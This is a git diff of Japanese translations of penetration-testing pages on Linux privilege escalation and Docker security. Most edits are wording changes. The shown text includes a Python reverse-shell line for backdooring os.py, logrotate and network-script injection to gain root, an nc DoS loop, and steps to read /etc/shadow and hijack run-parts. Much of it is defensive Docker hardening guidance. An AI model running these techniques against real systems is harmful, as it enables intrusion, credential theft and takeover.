+Pythonスクリプトが実行される**場所**を知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができます(Pythonスクリプトが実行される場所に書き込むことができる場合、os.pyライブラリをコピーして貼り付けます)。 ライブラリを**バックドア化する**には、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください): ```python @@ -1323,10 +1327,10 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotateの悪用 -`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。_var/log_だけでなく、ログローテーションが適用される任意のディレクトリでも権限を確認することが重要です。 +`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用されるディレクトリだけでなく、_var/log_内の権限も確認することが重要です。 > [!NOTE] -> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前のバージョンに影響します +> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前のバージョンに影響します。 脆弱性に関する詳細情報はこのページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 @@ -1342,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ネットワークスクリプト、例えば_ifcg-eth0_はネットワーク接続に使用されます。これらは.iniファイルのように見えます。しかし、LinuxではNetwork Manager(dispatcher.d)によって\~ソースされます\~。 -私のケースでは、これらのネットワークスクリプトで`NAME=`が正しく処理されていません。名前に**空白がある場合、システムは空白の後の部分を実行しようとします**。これは、**最初の空白の後のすべてがrootとして実行されることを意味します**。 +私の場合、これらのネットワークスクリプトで`NAME=`が正しく処理されていません。名前に**空白がある場合、システムは空白の後の部分を実行しようとします**。これは、**最初の空白の後のすべてがrootとして実行されることを意味します**。 例えば: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1356,7 +1360,7 @@ DEVICE=eth0 一方、 `/etc/init` は **Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに利用され続けており、Upstartには互換性レイヤーがあります。 -**systemd** は現代的な初期化およびサービスマネージャーとして登場し、オンデマンドでのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化しています。 +**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドでのデーモン起動、自動マウント管理、システム状態のスナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化しています。 ## Other Tricks diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index ad183d5fa..2e15d8b34 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -4,13 +4,13 @@ ## **基本的なDockerエンジンのセキュリティ** -**Dockerエンジン**は、Linuxカーネルの**ネームスペース**と**Cgroups**を使用してコンテナを隔離し、基本的なセキュリティ層を提供します。追加の保護は、**Capabilities dropping**、**Seccomp**、および**SELinux/AppArmor**を通じて提供され、コンテナの隔離が強化されます。**auth plugin**は、ユーザーのアクションをさらに制限できます。 +**Dockerエンジン**は、Linuxカーネルの**ネームスペース**と**Cgroups**を使用してコンテナを隔離し、基本的なセキュリティ層を提供します。追加の保護は、**Capabilities dropping**、**Seccomp**、および**SELinux/AppArmor**を通じて提供され、コンテナの隔離が強化されます。**authプラグイン**は、ユーザーのアクションをさらに制限できます。 ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) ### Dockerエンジンへの安全なアクセス -Dockerエンジンには、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。 +Dockerエンジンには、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するために、HTTPSと**TLS**を使用することが重要です。 Dockerエンジンは、デフォルトで`unix:///var/run/docker.sock`のUnixソケットでリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケット経由で公開します: ```bash @@ -34,13 +34,13 @@ sudo service docker restart ### イメージスキャン -コンテナは、ベースイメージのため、またはベースイメージの上にインストールされたソフトウェアのために、**セキュリティ脆弱性**を持つ可能性があります。Dockerは、コンテナのセキュリティスキャンを行い、脆弱性をリストアップする**Nautilus**というプロジェクトに取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較することで、セキュリティホールを特定します。 +コンテナは、ベースイメージのため、またはベースイメージの上にインストールされたソフトウェアのために**セキュリティ脆弱性**を持つ可能性があります。Dockerは、コンテナのセキュリティスキャンを行い、脆弱性をリストする**Nautilus**というプロジェクトに取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較することで、セキュリティホールを特定します。 詳細については、[**こちらをお読みください**](https://docs.docker.com/engine/scan/)。 - **`docker scan`** -**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、次のコマンドを実行してhello-worldイメージをスキャンします: +**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、hello-worldイメージをスキャンするには、次のコマンドを実行します: ```bash docker scan hello-world @@ -68,15 +68,15 @@ snyk container test --json-file-output= --severity-threshol ```bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` -### Docker イメージ署名 +### Dockerイメージ署名 -Docker イメージ署名は、コンテナで使用されるイメージのセキュリティと整合性を確保します。以下は簡潔な説明です: +Dockerイメージ署名は、コンテナで使用されるイメージのセキュリティと整合性を確保します。以下は簡潔な説明です: -- **Docker Content Trust** は、Notary プロジェクトを利用し、The Update Framework (TUF) に基づいてイメージ署名を管理します。詳細については [Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。 -- Docker コンテンツトラストを有効にするには、`export DOCKER_CONTENT_TRUST=1` を設定します。この機能は、Docker バージョン 1.10 以降ではデフォルトでオフになっています。 -- この機能が有効な場合、署名されたイメージのみがダウンロードできます。最初のイメージプッシュには、ルートおよびタグ付けキーのパスフレーズを設定する必要があり、Docker はセキュリティを強化するために Yubikey もサポートしています。詳細は [こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) で確認できます。 +- **Docker Content Trust** は、Notaryプロジェクトを利用し、The Update Framework (TUF) に基づいてイメージ署名を管理します。詳細については [Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。 +- Dockerコンテンツトラストを有効にするには、`export DOCKER_CONTENT_TRUST=1` を設定します。この機能は、Dockerバージョン1.10以降ではデフォルトでオフになっています。 +- この機能が有効な場合、署名されたイメージのみがダウンロードできます。最初のイメージプッシュには、ルートおよびタグ付けキーのパスフレーズを設定する必要があり、Dockerはセキュリティを強化するためにYubikeyもサポートしています。詳細は [こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) で確認できます。 - コンテンツトラストが有効な状態で署名されていないイメージをプルしようとすると、「No trust data for latest」というエラーが発生します。 -- 最初のイメージプッシュの後、Docker はイメージに署名するためにリポジトリキーのパスフレーズを要求します。 +- 最初のイメージプッシュの後、Dockerはイメージに署名するためにリポジトリキーのパスフレーズを要求します。 プライベートキーをバックアップするには、次のコマンドを使用します: ```bash @@ -103,14 +103,14 @@ Dockerホストを切り替える際は、操作を維持するためにルー **コントロールグループ(CGroups)** - **機能**: 主にプロセス間でリソースを割り当てるために使用されます。 -- **セキュリティの側面**: CGroups自体は隔離セキュリティを提供しませんが、`release_agent`機能が誤って構成されると、無許可のアクセスに悪用される可能性があります。 +- **セキュリティの側面**: CGroups自体は隔離セキュリティを提供しませんが、`release_agent`機能が誤って設定されると、無許可のアクセスに悪用される可能性があります。 -**能力のドロップ** +**能力の削除** - **重要性**: プロセス隔離のための重要なセキュリティ機能です。 -- **機能**: 特定の能力をドロップすることで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な能力が欠けていると、特権アクションを実行できず、システムコールは権限不足のために失敗します。 +- **機能**: 特定の能力を削除することで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な能力が欠けていると、特権アクションを実行できず、システムコールは権限不足のため失敗します。 -これがプロセスが他の能力をドロップした後の**残りの能力**です: +これがプロセスが他の能力を削除した後の**残りの能力**です: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` @@ -139,7 +139,7 @@ Dockerは、コンテナの隔離を実現するために以下のLinuxカーネ - ipc namespace - UTS namespace -**namespacesに関する詳細情報**は以下のページを確認してください: +**Namespacesに関する詳細情報**は以下のページを確認してください: {{#ref}} namespaces/ @@ -158,17 +158,15 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` -より詳しい情報は次を確認してください: - {{#ref}} cgroups.md {{#endref}} ### Capabilities -Capabilitiesは、**rootユーザーに許可される能力をより細かく制御する**ことを可能にします。DockerはLinuxカーネルの能力機能を使用して、**ユーザーの種類に関係なくコンテナ内で実行できる操作を制限**します。 +Capabilitiesは、**rootユーザーに許可される能力をより細かく制御する**ことを可能にします。DockerはLinuxカーネルの能力機能を使用して、**ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します**。 -Dockerコンテナが実行されると、**プロセスは隔離から脱出するために使用できる敏感な能力を放棄します**。これは、プロセスが敏感なアクションを実行し、脱出できないようにすることを保証しようとします: +Dockerコンテナが実行されると、**プロセスは隔離から脱出するために使用できる敏感な能力を放棄します**。これは、プロセスが敏感なアクションを実行し、脱出できないことを保証しようとします: {{#ref}} ../linux-capabilities.md @@ -176,7 +174,7 @@ Dockerコンテナが実行されると、**プロセスは隔離から脱出す ### Seccomp in Docker -これは、Dockerが**コンテナ内で使用できるsyscallsを制限する**ことを可能にするセキュリティ機能です: +これは、Dockerが**コンテナ内で使用できるsyscallを制限する**ことを可能にするセキュリティ機能です: {{#ref}} seccomp.md @@ -184,7 +182,7 @@ seccomp.md ### AppArmor in Docker -**AppArmor**は、**コンテナ**を**限られた**リソースの**セット**に**プログラムごとのプロファイル**で制限するためのカーネル拡張です: +**AppArmor**は、**コンテナ**を**限られた**リソースの**セット**に制限するためのカーネル拡張です。**プログラムごとのプロファイル**を持っています。 {{#ref}} apparmor.md @@ -194,7 +192,7 @@ apparmor.md - **ラベリングシステム**: SELinuxは、すべてのプロセスとファイルシステムオブジェクトに一意のラベルを割り当てます。 - **ポリシーの強制**: プロセスラベルがシステム内の他のラベルに対してどのようなアクションを実行できるかを定義するセキュリティポリシーを強制します。 -- **コンテナプロセスラベル**: コンテナエンジンがコンテナプロセスを開始するとき、通常は制限されたSELinuxラベル、一般的には`container_t`が割り当てられます。 +- **コンテナプロセスラベル**: コンテナエンジンがコンテナプロセスを開始するとき、通常は制限されたSELinuxラベル、一般的に`container_t`が割り当てられます。 - **コンテナ内のファイルラベリング**: コンテナ内のファイルは通常`container_file_t`としてラベル付けされます。 - **ポリシールール**: SELinuxポリシーは、`container_t`ラベルを持つプロセスが`container_file_t`としてラベル付けされたファイルとのみ相互作用(読み取り、書き込み、実行)できることを主に保証します。 @@ -208,7 +206,7 @@ apparmor.md Dockerでは、認可プラグインがセキュリティにおいて重要な役割を果たし、Dockerデーモンへのリクエストを許可またはブロックするかを決定します。この決定は、2つの重要なコンテキストを調べることによって行われます: -- **認証コンテキスト**: これには、ユーザーが誰であるか、どのように認証されたかに関する包括的な情報が含まれます。 +- **認証コンテキスト**: これには、ユーザーが誰であるか、どのように認証されたかなど、ユーザーに関する包括的な情報が含まれます。 - **コマンドコンテキスト**: これには、行われているリクエストに関連するすべての重要なデータが含まれます。 これらのコンテキストは、認証されたユーザーからの正当なリクエストのみが処理されることを保証し、Docker操作のセキュリティを強化します。 @@ -217,9 +215,9 @@ Dockerでは、認可プラグインがセキュリティにおいて重要な authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## コンテナからのDoS +## DoS from a container -コンテナが使用できるリソースを適切に制限しない場合、侵害されたコンテナが実行されているホストにDoSを引き起こす可能性があります。 +コンテナが使用できるリソースを適切に制限していない場合、侵害されたコンテナが実行されているホストにDoSを引き起こす可能性があります。 - CPU DoS ```bash @@ -237,7 +235,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; ### --privilegedフラグ -次のページで**`--privileged`フラグが何を意味するか**を学ぶことができます: +次のページでは**`--privileged`フラグが何を意味するか**を学ぶことができます: {{#ref}} docker-privileged.md @@ -247,9 +245,9 @@ docker-privileged.md #### no-new-privileges -攻撃者が低特権ユーザーとしてアクセスを得ることができるコンテナを実行している場合、**誤って設定されたsuidバイナリ**があると、攻撃者はそれを悪用して**コンテナ内で特権を昇格させる**可能性があります。これにより、彼はコンテナから脱出できるかもしれません。 +攻撃者が低い権限のユーザーとしてアクセスを得ることができるコンテナを実行している場合、**誤って設定されたsuidバイナリ**があると、攻撃者はそれを悪用して**コンテナ内で権限を昇格させる**可能性があります。これにより、彼はコンテナから脱出できるかもしれません。 -**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、この種の特権昇格を**防ぐことができます**。 +**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、この種の権限昇格を**防ぐことができます**。 ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` @@ -268,29 +266,29 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` -より多くの **`--security-opt`** オプションについては、次を確認してください: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) ## その他のセキュリティ考慮事項 ### シークレットの管理: ベストプラクティス -シークレットをDockerイメージに直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect` や `exec` のようなコマンドを通じてコンテナにアクセスできる誰にでも機密情報を露出させてしまいます。 +シークレットをDockerイメージに直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`のようなコマンドを通じてコンテナにアクセスできる誰にでも機密情報を露出させてしまいます。 -**Dockerボリューム** は、機密情報にアクセスするためのより安全な代替手段です。これらはメモリ内の一時ファイルシステムとして利用でき、`docker inspect` やログに関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの `exec` アクセスを持つ者は、依然としてシークレットにアクセスできる可能性があります。 +**Dockerボリューム**は、機密情報にアクセスするためのより安全な代替手段です。これらはメモリ内の一時ファイルシステムとして利用でき、`docker inspect`やログに関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセスを持つ者は、依然としてシークレットにアクセスできる可能性があります。 -**Dockerシークレット** は、機密情報を扱うためのさらに安全な方法を提供します。イメージビルドフェーズ中にシークレットが必要なインスタンスの場合、**BuildKit** はビルド時のシークレットをサポートし、ビルド速度を向上させ、追加機能を提供する効率的なソリューションを提供します。 +**Dockerシークレット**は、機密情報を扱うためのさらに安全な方法を提供します。イメージビルドフェーズ中にシークレットが必要なインスタンスの場合、**BuildKit**はビルド時のシークレットをサポートし、ビルド速度を向上させ、追加機能を提供する効率的なソリューションを提供します。 -BuildKitを活用するには、次の3つの方法で有効化できます: +BuildKitを活用するには、以下の3つの方法で有効化できます: 1. 環境変数を通じて: `export DOCKER_BUILDKIT=1` -2. コマンドの前に接頭辞を付ける: `DOCKER_BUILDKIT=1 docker build .` +2. コマンドにプレフィックスを付けて: `DOCKER_BUILDKIT=1 docker build .` 3. Docker設定でデフォルトで有効にする: `{ "features": { "buildkit": true } }`、その後Dockerを再起動します。 -BuildKitは、`--secret` オプションを使用してビルド時のシークレットを利用できるようにし、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。コマンドの例: +BuildKitは、`--secret`オプションを使用してビルド時のシークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。コマンドの例: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -実行中のコンテナに必要な秘密のために、**Docker Compose と Kubernetes** は堅牢なソリューションを提供します。Docker Compose は、`docker-compose.yml` の例に示すように、秘密ファイルを指定するためにサービス定義内の `secrets` キーを利用します。 +実行中のコンテナに必要な秘密情報について、**Docker Compose と Kubernetes** は堅牢なソリューションを提供します。Docker Compose は、`docker-compose.yml` の例に示すように、秘密ファイルを指定するためにサービス定義内で `secrets` キーを利用します: ```yaml version: "3.7" services: @@ -309,36 +307,40 @@ Kubernetes環境では、シークレットがネイティブにサポートさ ### gVisor -**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムの表面の大部分を実装しています。アプリケーションとホストカーネルの間に**隔離境界**を提供する`runsc`という[Open Container Initiative (OCI)](https://www.opencontainers.org)ランタイムを含んでいます。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。 +**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムの表面の大部分を実装しています。これは、アプリケーションとホストカーネルの間に**隔離境界**を提供する`runsc`という[Open Container Initiative (OCI)](https://www.opencontainers.org)ランタイムを含んでいます。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。 -{% embed url="https://github.com/google/gvisor" %} +{{#ref}} +https://github.com/google/gvisor +{{#endref}} ### Kata Containers **Kata Containers**は、軽量の仮想マシンを使用して安全なコンテナランタイムを構築するために活動しているオープンソースコミュニティです。これにより、コンテナのように感じられ、動作しますが、**ハードウェア仮想化**技術を使用して、より強力なワークロードの隔離を提供します。 -{% embed url="https://katacontainers.io/" %} +{{#ref}} +https://katacontainers.io/ +{{#endref}} ### まとめのヒント - **`--privileged`フラグを使用したり、** [**Dockerソケットをコンテナ内にマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Dockerソケットはコンテナを生成することを可能にするため、例えば`--privileged`フラグを使用して別のコンテナを実行することで、ホストを完全に制御する簡単な方法です。 - **コンテナ内でrootとして実行しないでください。** [**異なるユーザーを使用し**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **、** [**ユーザー名前空間を使用してください**](https://docs.docker.com/engine/security/userns-remap/)**。** コンテナ内のrootは、ユーザー名前空間で再マップされない限り、ホストのrootと同じです。主にLinuxの名前空間、機能、cgroupsによって軽く制限されています。 - [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要なものだけを有効にしてください** (`--cap-add=...`)。多くのワークロードは機能を必要とせず、追加すると潜在的な攻撃の範囲が広がります。 -- [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)して、プロセスがより多くの特権を取得するのを防ぎます。例えば、suidバイナリを通じて。 +- [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **して、プロセスがより多くの特権を取得するのを防ぎます。** 例えば、suidバイナリを通じて。 - [**コンテナに利用可能なリソースを制限**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** リソース制限は、サービス拒否攻撃からマシンを保護できます。 -- **seccomp** [**、AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(またはSELinux)プロファイルを調整して、コンテナに必要な最小限のアクションとシステムコールを制限します。** -- **公式のDockerイメージを使用し** [**、署名を要求**](https://docs.docker.com/docker-hub/official_images/) **するか、それに基づいて自分のイメージを構築してください。** バックドア付きの[**イメージを継承したり使用したりしないでください**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)。また、ルートキーやパスフレーズを安全な場所に保管してください。DockerはUCPでキーを管理する計画を持っています。 -- **定期的に** **イメージを再構築して、ホストとイメージにセキュリティパッチを適用します。** +- **seccomp** [**、AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(またはSELinux)**プロファイルを調整して、コンテナに必要な最小限のアクションとシステムコールを制限します。 +- **公式のdockerイメージを使用し** [**、署名を要求**](https://docs.docker.com/docker-hub/official_images/) **するか、それに基づいて自分のものを構築してください。** バックドア付きの[**イメージを継承したり使用したりしないでください**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)。また、ルートキーやパスフレーズを安全な場所に保管してください。DockerはUCPでキーを管理する計画があります。 +- **定期的に** **イメージを再構築して、** **ホストとイメージにセキュリティパッチを適用します。** - **シークレットを賢く管理**して、攻撃者がアクセスしにくくします。 -- Dockerデーモンを**公開する場合は、クライアントとサーバーの認証を使用してHTTPSを使用してください。** -- Dockerfileでは、**ADDの代わりにCOPYを優先してください。** ADDは自動的に圧縮ファイルを抽出し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDの使用を避け、リモートURLやZipファイルを通じた攻撃に対して脆弱にならないようにしてください。 +- Dockerデーモンを**公開する場合は、HTTPSを使用**し、クライアントとサーバーの認証を行います。 +- Dockerfileでは、**ADDの代わりにCOPYを優先してください**。ADDは自動的に圧縮ファイルを抽出し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDの使用を避け、リモートURLやZipファイルを通じた攻撃に対して脆弱にならないようにします。 - **各マイクロサービスに対して別々のコンテナを持つ** - **コンテナ内にsshを置かない**でください。「docker exec」を使用してコンテナにsshできます。 - **より小さな**コンテナ**イメージを持つ** ## Dockerブレイクアウト / 特権昇格 -もしあなたが**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセスできる**場合、**脱出して特権を昇格させる**ことを試みることができます: +もしあなたが**dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセスできる**場合、**脱出して特権を昇格させる**ことを試みることができます: {{#ref}} docker-breakout-privilege-escalation/ @@ -346,16 +348,16 @@ docker-breakout-privilege-escalation/ ## Docker認証プラグインバイパス -もしあなたがDockerソケットにアクセスできるか、**dockerグループのユーザーにアクセスできるが、あなたの行動がDocker認証プラグインによって制限されている**場合、**バイパスできるか確認してください:** +もしあなたがdockerソケットにアクセスできるか、**dockerグループのユーザーにアクセスできるが、あなたの行動がdocker認証プラグインによって制限されている**場合、**バイパスできるか確認してください:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## Dockerのハードニング +## Dockerの強化 -- ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\ -このツールは、Dockerを実行しているホストまたは十分な特権を持つコンテナから実行する必要があります。**READMEでの実行方法を確認してください:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 +- ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、プロダクションでDockerコンテナを展開する際の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\ +このツールは、dockerを実行しているホストまたは十分な特権を持つコンテナから実行する必要があります。**READMEでの実行方法を確認してください:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 ## 参考文献 diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 722fa9da9..a7ea5a40c 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -16,7 +16,7 @@ ``` これは、**sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 -この場合、**rootになるには次のように実行するだけです**: +この場合、**rootになるには次のコマンドを実行するだけです**: ``` sudo su ``` @@ -26,12 +26,12 @@ sudo su ```bash find / -perm -4000 2>/dev/null ``` -もしバイナリ **pkexec が SUID バイナリ** であり、あなたが **sudo** または **admin** に属している場合、`pkexec` を使用して sudo としてバイナリを実行できる可能性があります。\ +もしバイナリ **pkexec が SUID バイナリ** であり、あなたが **sudo** または **admin** に属している場合、`pkexec` を使用してバイナリを sudo として実行できる可能性があります。\ これは通常、これらが **polkit ポリシー** 内のグループであるためです。このポリシーは基本的に、どのグループが `pkexec` を使用できるかを特定します。次のコマンドで確認してください: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -そこでは、どのグループが **pkexec** を実行することを許可されているか、そして **デフォルトで** 一部のLinuxディストリビューションでは **sudo** および **admin** グループが表示されるかを見つけることができます。 +そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxディストロでは、**sudo**および**admin**グループが表示されるかを見つけることができます。 **rootになるには、次のコマンドを実行できます**: ```bash @@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**権限がないからではなく、GUIなしで接続されていないからです**。この問題の回避策はここにあります: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です: +**権限がないからではなく、GUIなしで接続されていないからです**。この問題の回避策があります: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -62,13 +62,13 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 -この場合、**rootになるには次のコマンドを実行するだけです**: +この場合、**rootになるには次のように実行するだけです**: ``` sudo su ``` ## Shadow Group -**shadow** グループのユーザーは **/etc/shadow** ファイルを **読む** ことができます: +**shadow** グループのユーザーは **/etc/shadow** ファイルを **読み取る** ことができます: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -76,9 +76,9 @@ So, read the file and try to **crack some hashes**. ## スタッフグループ -**staff**: ユーザーがルート権限を必要とせずにシステムにローカル変更を加えることを許可します(`/usr/local/bin` の実行可能ファイルはすべてのユーザーのPATH変数に含まれており、同じ名前の `/bin` および `/usr/bin` の実行可能ファイルを「上書き」する可能性があります)。 監視/セキュリティに関連する「adm」グループと比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: ユーザーがルート権限を必要とせずにシステムにローカルな変更を加えることを許可します(`/usr/local/bin`内の実行可能ファイルは、すべてのユーザーのPATH変数に含まれており、同じ名前の`/bin`および`/usr/bin`内の実行可能ファイルを「上書き」する可能性があります)。 監視/セキュリティに関連する「adm」グループと比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups) -debianディストリビューションでは、`$PATH` 変数は `/usr/local/` が最優先で実行されることを示しています。特権ユーザーであろうとなかろうと。 +debianディストリビューションでは、`$PATH`変数は、特権ユーザーであろうとなかろうと、`/usr/local/`が最優先で実行されることを示しています。 ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -88,7 +88,7 @@ $ echo $PATH ``` `/usr/local`にあるいくつかのプログラムをハイジャックできれば、簡単にrootを取得できます。 -`run-parts`プログラムをハイジャックすることは、rootを取得する簡単な方法です。なぜなら、ほとんどのプログラムは`run-parts`を実行するからです(crontabやsshログイン時など)。 +`run-parts`プログラムをハイジャックすることは、rootを取得する簡単な方法です。なぜなら、ほとんどのプログラムは`run-parts`を実行するからです(crontabやSSHログイン時など)。 ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` -または新しいsshセッションにログインしたとき。 +新しいSSHセッションにログインしたとき。 ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -146,7 +146,7 @@ debugfs: cat /etc/shadow debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -しかし、**rootが所有するファイル**(例えば`/etc/shadow`や`/etc/passwd`)に**書き込もうとすると**、「**Permission 